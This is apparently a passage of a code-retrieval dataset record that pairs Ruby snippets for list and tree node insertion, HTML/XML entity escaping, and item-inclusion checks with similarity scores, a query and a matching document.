"def append_node\r\n # Load parent package.\r\n parent_package = ProductPackage.find params[:id], :include => \"product_package_nodes\"\r\n # position = parent_package.product_package_nodes.collect{|node| node.position}.sort.last.nexts\r\n \r\n # Build a child node.\r\n case params[:node_type]\r\n when \"package\"\r\n parent_package.product_package_nodes << ProductPackage.new(:name => params[:new_package_name])\r\n when \"product\"\r\n parent_package.product_package_nodes << ProductPackageProduct.new(:product_id => params[:product_id], :display_style => \"checkbox\")\r\n end\r\n \r\n # Save node and redirect back.\r\n redirect_to :back\r\n end",
"def update_tree(element); end",
"def insertAfter(node, new_node)\n end",
"def push(el)\n @head = LinkedListNode.new(el.value, @head)\n end",
"def append(x)\n elem = ListElement.new(x)\n self.next = elem\n end",
"def add(el)\n raise NotImplementedError\n end",
"def <<(x)\n @contents << x if x.is_a? Node\n end",
"def add_node(object)\n if is_node?(object)\n node = object\n @nodes << object\n else\n node = Node.new(object)\n @nodes << node\n end\n\n node\n end",
"def add(*nodes)\n @nodes.push(*nodes)\n end",
"def push(element); end",
"def push(element)\n \t@data = LinkedListNode.new(element, @data)\n \tend",
"def <<(node)\n @child_array.push(node)\n node.parent = self\n end",
"def add_node(new_node)\n @nodes[new_node] ||= Array.new #only adds if not in graph\n @node_dir_ancestors[new_node] ||= Array.new\n end",
"def add(elem)\n @elements << elem\n i = @elements.size-1\n pa = parent(i)\n while i>0 and @comparator.call(@elements[i],@elements[pa]) > 0\n swap(i,pa)\n i = pa\n pa = parent(pa)\n end\n end",
"def append(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n last_node = traverse_nodes(@head)\n # require 'pry'; binding.pry\n last_node.next_node = new_node\n end\n end",
"def add(addto, add)\n start_element = nil\n cur_element = nil\n add.each do |build|\n unless cur_element.nil?\n cur_element = cur_element.add_element(build[0])\n else\n cur_element = REXML::Element.new(build[0])\n start_element = cur_element\n end\n end\n addto.first.add_element(start_element)\n end",
"def push(node)\n node.parent = self if node.respond_to? :parent\n super(node)\n end",
"def push(element)\r\n # IMPLEMENTME!\r\n end",
"def append_elem(data)\n\t\tnode = Node.new(data)\n\t\tnode.next_node = nil\n\t\t@head = node if @head == nil\n\t\t@last_elem.next_node = node if @last_elem != nil\n\t\t@last_elem = node\n\tend",
"def just_add_child(node)\n return if @children.member?(node)\n @children << node\n node.parent = self\n update_boxes \n end",
"def <<( element )\n case element\n when Otus\n add_otus element\n when Trees\n add_trees element\n when Characters\n add_characters element\n end\n end",
"def append(x)\n elem = ListElement.new(x)\n elem.prev = self\n self.next = elem\n end",
"def append! x\n\t\t\tcurrent << x\n\t\t\tx\n\t\tend",
"def <<(node)\n existing = node_for(node.name)\n\n if existing\n children.delete(existing)\n\n self.children << (existing + node)\n else\n node.parent = self\n self.children << node\n node\n end\n end",
"def add(value)\n\t\tif @head != nil \n\t\t\tcurrent = @head\n\t\t\twhile current.nnode != nil\n\t\t\t\tcurrent = current.nnode\n\t\t\tend\n\t\t\tcurrent.nnode = Node.new(value, nil)\n\t\telse\n\t\t\t@head = Node.new(value,nil)\n\t\tend\n\tend",
"def add_previous_sibling(node_or_tags); end",
"def <<(node)\n root << node\n end",
"def append( value )\n last.next = Node.new value\n end",
"def addNode(node, toListView:listView)\n @expandableRowToNodeMap[node.id] = node if node.expandable?\n listView.addNode(node)\n end",
"def add(element)\n\t\t@size += 1\n\t\[email protected](element)\n\t\telement\n\tend",
"def insert(index, element)\n if index == 0\n insert_first(element)\n else\n node_before_index = get(index - 1)\n node_at_index = get(index)\n node_before_index.next_node = element\n element.next_node = node_at_index\n @size += 1\n end\n end",
"def <<(node_or_tags); end",
"def <<(node_or_tags); end",
"def push(element)\n @data = LinkedListNode.new(element, @data)\n end",
"def insert_at(node, index)\n target = self.at(index)\n target_prev = target.prev\n set_next_and_prev(target_prev, node)\n set_next_and_prev(node, target)\n self.size += 1\n end",
"def <<(element)\n @elements << element\n self\n end",
"def add_node(key, val)\n @store.append(key, val)\n end",
"def insert_after( node, value )\n # Find the specified node, and add a new node\n # with the given value between that found node\n # and the next\n\n end",
"def add_node(node)\n if node.respond_to?(:to_sym)\n node = Woodhouse::Layout::Node.new(node.to_sym) \n end\n expect_arg :node, Woodhouse::Layout::Node, node\n @nodes << node\n node\n end",
"def insert_node(parent, type, text, additional = '', object = nil)\n text = text.to_s\n additional = additional.to_s if additional\n iter = self.model.append(parent)\n iter.set_value(Value::ICON, render_icon(@formats[type][0], Gtk::IconSize::MENU, text))\n iter.set_value(Value::TEXT, text)\n iter.set_value(Value::ADDITIONAL_TEXT, additional) if additional\n iter.set_value(Value::OBJECT, object) if object\n iter\n end",
"def append(value)\n new_node = Node.new(value)\n node = @node\n\n while node.next\n node = node.next\n end\n\n node.next = new_node\n end",
"def append(other)\n self.last_sibling.add_sibling(other)\n end",
"def add_child(tag)\n @parent_node = @current_node\n @current_node = ParseTag.new(tag).tag\n @current_node.parent = @parent_node\n @parent_node.children.push @current_node\n # @current_node.depth = @parent_node.depth + 1\n end",
"def <<(v)\n @head << Node.new(v)\n end",
"def append(value)\n\t\t\tif self.empty?\n\t\t\t\tself.prepend(value)\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\telement = self.head\n\t\t\t# loop through each element in the LinkedList, until element.next \n\t\t\t# equals @head, signifying we have reached the end of the list.\n\t\t\twhile(element != self.head)\n\t\t\t\telement = element.next\n\t\t\tend\n\n\t\t\tnew_element = RubyStructures::Node.new(self, value)\n\t\t\t# insert the new element at the end of the LinkedList.\n\t\t\tnew_element.next = element.next\n\t\t\telement.next = new_element\n\t\tend",
"def add_node(value, node=nil)\n new_node = Node.new(value)\n if node\n new_node.parent = node\n node.children << new_node\n else\n @head = new_node\n end\n end",
"def <<(node)\n node.dispatcher = @dispatcher\n @nodes << node\n end",
"def add_node(value)\n if @head\n @head = Node.new value, @head\n else\n @head = Node.new value, nil\n end\n end",
"def +(elem)\n plus(elem)\n end",
"def <<(node_or_tags)\n add_child node_or_tags\n self\n end",
"def insertar_elemento(nodo)\n \n if @elemento != nil\n \n nodo.next = @elemento\n @elemento = nodo\n end\n end",
"def insert_child\n insert_node('insert_child')\n end",
"def add_child(child)\n n = root? ? @nodes : @root.nodes\n n << child\n @children << child\n child\n end",
"def add_element (element, row_num, col_num)\n #puts \"adding element #{element} #{row_num} #{col_num}\"\n @rows[row_num].add element\n @columns[col_num].add element\n @blocks.block(row_num, col_num).add element\n end",
"def inner_dom=(node)\n clear\n\n self << node\n end"
] |
[
"0.7792907",
"0.7309038",
"0.72892666",
"0.72438204",
"0.72317994",
"0.7053422",
"0.6938803",
"0.69094694",
"0.68654126",
"0.6860075",
"0.6860075",
"0.6816193",
"0.6815823",
"0.67890227",
"0.670476",
"0.66845226",
"0.66823405",
"0.6678077",
"0.666225",
"0.6650319",
"0.6650319",
"0.661179",
"0.6607061",
"0.6602179",
"0.6600263",
"0.6600263",
"0.6600263",
"0.6600263",
"0.6600263",
"0.6600263",
"0.6562198",
"0.65339833",
"0.64931285",
"0.64887786",
"0.6476966",
"0.6460946",
"0.6438275",
"0.64197963",
"0.64097345",
"0.6403232",
"0.6398541",
"0.63908523",
"0.63761103",
"0.6366951",
"0.63658416",
"0.63391465",
"0.6331003",
"0.6314996",
"0.6309905",
"0.6302599",
"0.6285539",
"0.6285048",
"0.6267654",
"0.62370294",
"0.62341446",
"0.62324667",
"0.62296677",
"0.6221646",
"0.6211892",
"0.62089974",
"0.6207649",
"0.6199708",
"0.61831063",
"0.6177568",
"0.61771",
"0.6159671",
"0.6159332",
"0.61503613",
"0.6143204",
"0.61368275",
"0.61346954",
"0.6133808",
"0.61329865",
"0.61301106",
"0.61300325",
"0.6124756",
"0.61171603",
"0.61075604",
"0.61075604",
"0.61065626",
"0.61038303",
"0.6101097",
"0.6100613",
"0.6099836",
"0.6093556",
"0.6086144",
"0.6085104",
"0.60801816",
"0.6076312",
"0.60614353",
"0.6056402",
"0.6052805",
"0.60473144",
"0.6042293",
"0.60418683",
"0.60364306",
"0.60257685",
"0.6015271",
"0.601189",
"0.60098964",
"0.6009265"
] |
0.0
|
-1
|
Escape ampersands, brackets and quotes to their HTML/XML entities.
|
def escape_html(string)
string.to_s.gsub(ESCAPE_HTML_PATTERN){|c| ESCAPE_HTML[c] }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def html_escape(s)\n s.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\")\n end",
"def escape_html(html)\n html.to_s.gsub(/&/n, '&').gsub(/\\\"/n, '"').gsub(/>/n, '>').gsub(/</n, '<').gsub(/\\//, '/')\n end",
"def html_escape(text)\n text.to_s.gsub(/[\\\"><&]/) { |s| HTML_ESCAPE[s] }\n end",
"def html_escape(str)\r\n str.gsub('&', '&').str('<', '<').str('>', '>').str('\"', '"')\r\nend",
"def html_escape(clean_me)\n clean_me.to_s.gsub(/[&\"<>]/) do |special|\n { '&' => '&',\n '>' => '>',\n '<' => '<',\n '\"' => '"' }[special]\n end\n end",
"def html_escape(s)\n s = s.to_s\n if s.html_safe?\n s\n else\n s.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\").html_safe\n end\n end",
"def html_escape(html)\n html.to_s.gsub(/[&\"><]/) { |special| HTML_ESCAPE[special] }\n end",
"def markup_escape(text)\n table_for_escape = {\n \"&\" => \"&\",\n \"<\" => \"<\",\n \">\" => \">\",\n }\n text.gsub(/[&<>]/, table_for_escape)\n end",
"def htmlEscape(string)\n return string.gsub('&', '&').gsub('>', '>').gsub('<', '<')\nend",
"def escape_entities(str)\n CGI.escapeHTML(str).gsub(/[\\n\\r]/) {|c| '&#x' + c.unpack('h').first + ';'}\n end",
"def escape_content\n content.to_s.gsub(/&/, \"&\").gsub(/\\\"/, \""\").gsub(/>/, \">\").gsub(/</, \"<\") \n end",
"def html_escape(s)\n s.to_s.gsub(/[&\"><]/) { |special| HTML_ESCAPE[special] }\n end",
"def escape_xml(string) \n string.gsub(/[&<>\\'\\\"]/) do | match |\n case match\n when '&' then '&'\n when '<' then '<'\n when '>' then '>'\n when '\"' then '"'\n when \"'\" then '''\n end\n end \n end",
"def html_escape(s)\n CGI.escapeHTML(s.to_s)\n end",
"def to_html_entities\n unpack('U*').map! {|c| \"&##{c};\"}.join\n end",
"def escape(s)\n s.gsub(/[&<>｀]/, \"&\" => \"&\", \"<\" => \"<\", \">\" => \">\", \"｀\" => \"`\")\n end",
"def _gestalt_escape_entities(s)\n s.to_s.gsub(/&/, '&').\n gsub(/\"/, '"').\n gsub(/'/, ''').\n gsub(/</, '<').\n gsub(/>/, '>')\n end",
"def html_escape\n return to_s\n end",
"def html_escape\n return to_s\n end",
"def escape_xml(string)\n string.gsub!(\"&\", \"&\")\n string.gsub!(\"<\", \"<\")\n string.gsub!(\">\", \">\")\n string.gsub!(\"'\", \"'\")\n string.gsub!(\"\\\"\", \""\")\n\n return string\n end",
"def encode_html( str )\n\t\t\t#str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\\w+);)/i, \"&\" ).\n\t\t\t\t#gsub( %r{<(?![a-z/?\\$!])}i, \"<\" )\n\t\t\t\treturn str\n\t\tend",
"def escape_xml(xml_in) \n return xml_in.gsub(/&/,'&').gsub(/</,'<')\n end",
"def encode(s)\n s.gsub!(\"<\",\"<\")\n s.gsub!(\">\",\">\")\n s.gsub!(\"& \",\"&\")\n s\n end",
"def escape_html(html)\n html.to_s.gsub(/[&\\\"<>\\/]/, ESCAPE_HTML)\n end",
"def escape_html( string )\n\t\t\treturn \"nil\" if string.nil?\n\t\t\tstring = string.inspect unless string.is_a?( String )\n\t\t\tstring.\n\t\t\t\tgsub(/&/, '&').\n\t\t\t\tgsub(/</, '<').\n\t\t\t\tgsub(/>/, '>').\n\t\t\t\tgsub(/\\n/, '↵').\n\t\t\t\tgsub(/\\t/, '→')\n\t\tend",
"def escape_html( string )\n\t\t\treturn \"nil\" if string.nil?\n\t\t\tstring = string.inspect unless string.is_a?( String )\n\t\t\tstring.\n\t\t\t\tgsub(/&/, '&').\n\t\t\t\tgsub(/</, '<').\n\t\t\t\tgsub(/>/, '>').\n\t\t\t\tgsub(/\\n/, '↵').\n\t\t\t\tgsub(/\\t/, '→')\n\t\tend",
"def xml_escape(input); end",
"def html_escape(s) # rubocop:disable Lint/DuplicateMethods\n unwrapped_html_escape(s).html_safe\n end",
"def esc(word)\n word.gsub(\"&\", \"&\").gsub(\"<\", \"<\")\n end",
"def uri_escape\n str = xml_escape.gsub(/\\+/, '+')\n str = str.gsub(/\\s/, '+')\n end",
"def esc(str)\n str = str.to_s.gsub(\"&\", \"&\")\n str = str.gsub(\"\\\"\", \"'\")\n str = str.gsub(\"\\\"\", \""\")\n str = str.gsub(\"<\", \"<\")\n str.gsub(\">\", \">\")\nend",
"def escape(content)\n return content if content.html_safe?\n content.gsub(/[&><\"]/) { |char| ESCAPE_SEQUENCE[char] }\n end",
"def entity_gsub!(chars)\n mapping = {\n '&' => '&',\n '<' => '<',\n '>' => '>',\n '\"' => '"',\n \"'\" => '''\n }\n re = /&(?!amp;)|[<>'\"]/\n chars.gsub!(re, mapping)\n chars\n end",
"def html_encode\n require 'htmlentities'\n \n coder = HTMLEntities.new\n \n ret = coder.encode(self, :named)\n \n return ret\n end",
"def html_escape(options={})\n except = options[:except] || %w()\n close_tags\n @modified_string.gsub!(/<\\/?(.*?)(\\s.*?)?\\/?>/) do |tag|\n if except.include?($1)\n # sanitize attributes\n tag.gsub(/\\s(.+?)=('|\").*?\\2(?=.*?>)/) do |a|\n [\"href\", \"src\", \"lang\"].include?($1) ? a : \"\"\n end\n else\n h(tag)\n end\n end\n # Convert all unclosed left tag brackets (<) into <\n @modified_string.gsub!(/<+([^>]*)\\Z/, '<\\1')\n # Convert all unopened right tag brackets (>) into >\n @modified_string.gsub!(/\\A([^<]*)>+/, '\\1>')\n self\n end",
"def html_escape(string)\n EscapeUtils.escape_html(string.to_s).html_safe\n end",
"def html_escape(text)\n Rack::Utils.escape_html(text)\n end",
"def xml_attr_escape\n replacements = {\"<\" => \"<\", \">\" => \">\", \"&\" => \"&\", \"\\\"\" => \""\", \"'\" => \"'\"}\n gsub(/([<>&\\'\\\"])/) { replacements[$1] }\n end",
"def escape_special_chars(data)\n data = data.dup\n data.gsub! /&/n , \"&\"\n data.gsub! /\\\"/n , \""\"\n data.gsub! />/n , \">\"\n data.gsub! /</n , \"<\"\n data.gsub! /'/ , \"'\"\n return data\n end",
"def escape_html(value)\n CGI.escapeHTML(value)\n end",
"def escape(text)\n if !text.kind_of?(String)\n if text.respond_to?(:to_str)\n text = text.to_str\n else\n text = test.to_s\n end\n end\n # TODO: Verify that this is sufficient, gut feeling says no.\n text.gsub(/\\</, \"<\")\n end",
"def escape_content(content)\n # first, find any pre-escaped entities and \"mark\" them by replacing & with @@\n # so something like < becomes @@lt;\n # and Ӓ becomes @@#1234\n\n content.gsub!(/&\\w+;/) {|t| t.gsub('&', '@@')}\n content.gsub!(/&#\\d{4}/) {|t| t.gsub('&', '@@')}\n content.gsub!(/&#\\d{3}/) {|t| t.gsub('&', '@@')}\n\n # now we know that all & characters remaining are not part of some pre-escaped entity, and we can escape them safely\n content.gsub!('&', '&')\n\n # 'unmark' our pre-escaped entities\n content.gsub!(/@@\\w+;/) {|t| t.gsub('@@', '&')}\n content.gsub!(/@@#\\d{4}/) {|t| t.gsub('@@', '&')}\n content.gsub!(/@@#\\d{3}/) {|t| t.gsub('@@', '&')}\n\n return content\n end",
"def escape_xml(text)\n text.encode(xml: :text)\n end",
"def escape_xml(value)\n value.to_s.gsub(/[&<>\"']/) { |s| ESCAPE_TABLE[s] } # or /[&<>\"']/\n end",
"def escape_html(input)\n Utils::Escape.html(input)\n end",
"def escape(str)\n str.to_s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\").force_encoding('US-ASCII')\n end",
"def escaped_content\n content.gsub(/&/, '&').gsub(/</, '<').strip\n end",
"def encode to_encode\n CGI.escape(to_encode)\n end",
"def escape(target)\n new(target.to_s.gsub(/[#{Entities}]/) {|m| \"&#{Encode[m]};\" })\n end",
"def smart_quote_entity(el); end",
"def escape(str)\n ERB::Util.h(str).gsub('"', '\"').gsub(''', \"'\")\n end",
"def esc_ht str\n\t\treturn Escape.html str\n\tend",
"def clean(text = nil, escape_ampersands_twice = false)\n text.gsub!(\" \", \" \")\n converted = convert_html(text)\n entity_converted = convert_entities(converted)\n # puts \"entity_converted: #{entity_converted}\"\n escaped = escape(entity_converted)\n # escaped = escaped.gsub(/&/, '\\\\\\\\&')\n escaped = escaped.gsub(\"&\", \"\\&\")\n escaped = escaped.gsub(/&/, '\\\\\\\\&') if escape_ampersands_twice\n # puts \"escaped: #{escaped}\"\n # puts \"\\n\"\n escaped\n end",
"def escape_html(str)\n\t\t\t#table = HTML_ESC # optimize\n\t\t\t#str.gsub(/[&\"<>]/) {|s| table[s] }\n\t\t\treturn str\n\t\tend",
"def uri_escape\n CGI.escape(self)\n end",
"def _escape(text)\n ensure_mutable = text.is_a?(BuilderMutableString) ? text : BuilderMutableString.new(text)\n ensure_mutable.to_xs\n end",
"def HTMLEsc( str )\n\tstr.gsub!( /\\&/, \"&\" )\n\tstr.gsub!( /\\\"/, \""\" )\n\tstr.gsub!( /</, \"<\" )\n\tstr.gsub!( />/, \">\" )\n\tstr.gsub!( /\\n/, \"<br>\" )\n\tstr.gsub( /\\t/, \" \" )\nend",
"def escape(s)\n URI.encode_www_form_component(s)\n end",
"def test_encoding\n\tassert_equal('x & x', NQXML.encode('x & x'))\n\tassert_equal('x ' x', NQXML.encode('x \\' x'))\n\tassert_equal('x <"> x', NQXML.encode('x <\"> x'))\n end",
"def escape_html\n Rack::Utils.escape_html self\n end",
"def escapeHTML(string)\n enc = string.encoding\n unless enc.ascii_compatible?\n if enc.dummy?\n origenc = enc\n enc = Encoding::Converter.asciicompat_encoding(enc)\n string = enc ? string.encode(enc) : string.b\n end\n table = Hash[TABLE_FOR_ESCAPE_HTML__.map {|pair|pair.map {|s|s.encode(enc)}}]\n string = string.gsub(/#{\"['&\\\"<>]\".encode(enc)}/, table)\n string.encode!(origenc) if origenc\n string\n else\n string = string.b\n string.gsub!(/['&\\\"<>]/, TABLE_FOR_ESCAPE_HTML__)\n string.force_encoding(enc)\n end\n end",
"def encode_entities(*instructions)\n return HTMLEntities.encode_entities(self, *instructions)\n end",
"def escape(str)\n CGI.escape(str)\n end",
"def escape_html_safe(html)\n html.html_safe? ? html : escape_html(html)\n end",
"def e(value)\n CGI.escape(value)\n end",
"def resolve_xml_entities(text)\r\n result=text\r\n result.gsub!(\"<\", \"<\")\r\n result.gsub!(\">\", \">\")\r\n result.gsub!(\"&\", \"&\")\r\n result\r\n end",
"def normalize_entities(string)\n # Convert '&' to '&' only if it's not followed by an entity.\n string.gsub(/&(?!lt|gt|amp|quot|apos)/, '&')\n end",
"def esc_html(text)\n \tsafe_text = wp_check_invalid_utf8(text)\n \tsafe_text = _wp_specialchars(safe_text, :ENT_QUOTES)\n \t# Filters a string cleaned and escaped for output in HTML.\n \tapply_filters('esc_html', safe_text, text)\n end",
"def haml_xss_html_escape(text)\n return text unless Hamlit::HamlUtil.rails_xss_safe? && haml_buffer.options[:escape_html]\n html_escape(text)\n end",
"def h_(str)\n str.to_s.gsub(/['&\\\"<>]/, {\"'\"=>\"'\", \"&\"=>\"&\", '\"'=>\""\", \"<\"=>\"<\", \">\"=>\">\"})\n end",
"def test_entity_insertions\n assert_equal(\"&\", REXML::Text.new(\"&\", false, nil, true).to_s)\n #assert_equal(\"&\", REXML::Text.new(\"&\", false, false).to_s)\n end",
"def fix_double_escape(escaped)\n escaped.gsub(/&([a-z]+|(#\\d+));/i) { \"&#{$1};\" }\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] }\n end",
"def escape_html(str, type = T.unsafe(nil)); end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end",
"def escape_field( field )\n return html_escape( field ).gsub( \"\\\\\", \"\\" )\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end",
"def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end"
] |
[
"0.7829668",
"0.779935",
"0.7631167",
"0.7606816",
"0.7508268",
"0.74773234",
"0.7474295",
"0.73971254",
"0.73826885",
"0.73787886",
"0.73419696",
"0.7339938",
"0.73058534",
"0.7269033",
"0.72525674",
"0.7235924",
"0.7227527",
"0.7216798",
"0.7216798",
"0.72091794",
"0.71981317",
"0.71535486",
"0.7135627",
"0.71259147",
"0.71166795",
"0.71166795",
"0.7108272",
"0.70059013",
"0.6999002",
"0.6997346",
"0.6977054",
"0.69661033",
"0.6942051",
"0.6889854",
"0.6877569",
"0.68396586",
"0.6825014",
"0.681341",
"0.68131554",
"0.6805674",
"0.6773934",
"0.6758113",
"0.67547953",
"0.6713015",
"0.6686212",
"0.66747546",
"0.6609456",
"0.6582761",
"0.65575856",
"0.6549698",
"0.65367687",
"0.6526294",
"0.649986",
"0.6481719",
"0.6435758",
"0.64324015",
"0.6427143",
"0.641628",
"0.6383544",
"0.63765246",
"0.6373481",
"0.6369979",
"0.63528955",
"0.63455653",
"0.63446915",
"0.6333761",
"0.63307077",
"0.6312159",
"0.63087755",
"0.62582856",
"0.62518483",
"0.6246344",
"0.62415177",
"0.623883",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6197465",
"0.6196993",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407",
"0.61768407"
] |
0.6232494
|
74
|
Whether or not to include in item list item : item
|
def include?(item)
return item != nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def include?(item)\n return true\n end",
"def extra_item?\n false\n end",
"def include?(item)\n end",
"def include?(item)\n ! get(item).nil?\n end",
"def include?(item)\n return false if item.nil?\n return true\n end",
"def includes item\n msg = \"#{self} did not include #{item}\"\n check_if self.include?(item), msg\n end",
"def include?(item)\n self.__contains__(item).rubify\n end",
"def keep_item?(item)\n keep_all? or interesting_item?(item)\n end",
"def include? item\n return index_of(item) != nil\n end",
"def include?(item)\n return false if item.nil?\n return include_recipebook?(item) if item.recipebook?\n return false\n end",
"def has_items?\n return !items.empty?\n end",
"def include item\n\tend",
"def include?(item)\r\r\n item[:discovered]\r\r\n end",
"def include? item\n @succ.include? item\n end",
"def include?(item)\n case @category\n when :item\n item.is_a?(RPG::Item) && !item.key_item? && item.dismantlable?\n when :weapon\n item.is_a?(RPG::Weapon) && item.dismantlable?\n when :armor\n item.is_a?(RPG::Armor) && item.dismantlable?\n when :key_item\n item.is_a?(RPG::Item) && item.key_item? && item.dismantlable?\n else\n false\n end\n end",
"def include?(key)\n @item.key?(key)\n end",
"def include?(key)\n @item.key?(key)\n end",
"def include?(item, *args, &block)\n if @category == :all\n return true\n elsif ![:item, :weapon, :armor, :none].include?(@category) && item.is_a?(RPG::BaseItem)\n return item.masai_special_categories.include?(@category)\n else\n super(item, *args, &block)\n end\n end",
"def ill_item?(instance)\n instance['source'] == 'FOLIO' &&\n instance['discoverySuppress'] == true &&\n instance['staffSuppress'] == false\n end",
"def hasItems\n return @ucItemsList.size > 0\n end",
"def all_items(item)\r\n result = false\r\n\r\n if(self.items.size > 0)\r\n self.items.each {|val|\r\n if (val.get_name == item.get_name )\r\n return true\r\n else\r\n result = false\r\n end\r\n }\r\n else\r\n result = false\r\n end\r\n\r\n return result\r\n end",
"def normal_item?\n @itype_id == 1\n end",
"def include?(name)\n items.include?(coerce_name(name))\n end",
"def include?(item)\n case @category\n when :item\n item.is_a?(RPG::Item)\n when :weapon\n item.is_a?(RPG::Weapon)\n when :armor\n item.is_a?(RPG::Armor)\n when :all\n item\n else\n false\n end\n end",
"def items?\n !items.nil? && !items.empty?\n end",
"def include?(item, kind)\n case kind\n when :item\n item.is_a?(RPG::Item) && !item.key_item?\n when :weapon\n item.is_a?(RPG::Weapon)\n when :armor\n item.is_a?(RPG::Armor) && item.etype_id == 3\n when :shield\n item.is_a?(RPG::Armor) && item.etype_id == 1\n when :helmet\n item.is_a?(RPG::Armor) && item.etype_id == 2\n when :boot\n item.is_a?(RPG::Armor) && item.etype_id == 4\n when :key_item\n item.is_a?(RPG::Item) && item.key_item?\n else\n false\n end\n end",
"def item?\n return (@kind == ACTItem)\n end",
"def has_items?\n return true if @items.empty? == false\n end",
"def drops_item?(item)\n items = drop_items.map {|drop_item| drop_item.item}\n items.include? item\n end",
"def contains?(item)\n @items_set.include?(item.to_s)\n end",
"def relisted?\n item_hash.deep_find(:relisted, false)\n end",
"def has_item(item)\r\n result = false\r\n\r\n if(self.items.size > 0)\r\n self.items.each {|val|\r\n if (val.get_name == item.get_name and item.is_active )\r\n return true\r\n else\r\n result = false\r\n end\r\n }\r\n else\r\n result = false\r\n end\r\n\r\n return result\r\n end",
"def item_ok?\n check_ok?(:item) || all_ok?\n end",
"def has_item?(item)\n return true if drops_item?(item)\n return true if can_steal_item?(item)\n false\n end",
"def has_line_item?\n true\n end",
